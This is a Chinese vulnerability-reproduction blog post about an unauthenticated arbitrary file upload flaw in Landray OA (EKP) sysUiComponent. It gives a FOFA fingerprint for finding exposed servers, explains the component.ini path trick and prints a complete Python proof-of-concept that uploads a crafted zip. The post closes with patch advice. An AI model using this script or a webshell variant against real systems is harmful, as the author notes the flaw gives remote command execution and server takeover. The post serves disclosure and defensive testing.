【漏洞复现】蓝凌OA sysUiComponent 任意文件上传漏洞

发布时间 2023-11-26 22:51:54作者: spmonkey

阅读须知

  此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

产品介绍

  EKP,是蓝凌旗下的协同办公平台,其定位在平台型产品,它是结合蓝凌知识管理及移动互联网理念设计,综合企业管理支撑系统发展而来,并将协同办公、知识共享、文化管理、战略管理等融合为一体,通过企业门户统一战线,满足用户个性化办公要求的一体化工作平台。

漏洞概述

  蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。

复现环境

FOFA:icon_hash="831854882"

漏洞复现

构建测试压缩包(共两个文件,分别为:component.ini 和 上传的文件)

component.ini的文件内容如下:

id=2023
name=123.txt

其中,id为上传后的路径,name为上传的文件名,如下:

EXP如下:

 1 import requests
 2 from urllib.parse import urlparse
 3 from requests.packages.urllib3 import disable_warnings
 4 disable_warnings()
 5 
 6 
 7 class poc:
 8     def __init__(self, url):
 9         self.url = url
10         self.headers = {
11             'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
12             "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
13             "Accept-Encoding": "gzip, deflate",
14         }
15 
16     def host(self):
17         url = urlparse(self.url)
18         netloc = url.netloc
19         scheme = url.scheme
20         return scheme, netloc
21 
22     def vuln(self, netloc, scheme):
23         url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
24         data = {
25             "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
26         }
27         self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
28         try:
29             result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
30             if result.status_code == 200 and "directoryPath" in result.text:
31                 print("漏洞存在!")
32                 print("验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
33                 return True
34             else:
35                 print("漏洞不存在!")
36                 return False
37         except Exception as e:
38             print("漏洞不存在!")
39             return False
40 
41     def main(self):
42         all = self.host()
43         scheme = all[0]
44         netloc = all[1]
45         self.vuln(netloc, scheme)
46 
47 
48 if __name__ == '__main__':
49     url = "http://x.x.x.x"
50     poc(url).main()

验证url:

http://x.x.x.x/resource/ui-component/2023/123.txt

PS:我这里上传的都是无害文件。

修复建议

1、文件上传模块做好权限管控;

2、升级至安全版本或打补丁。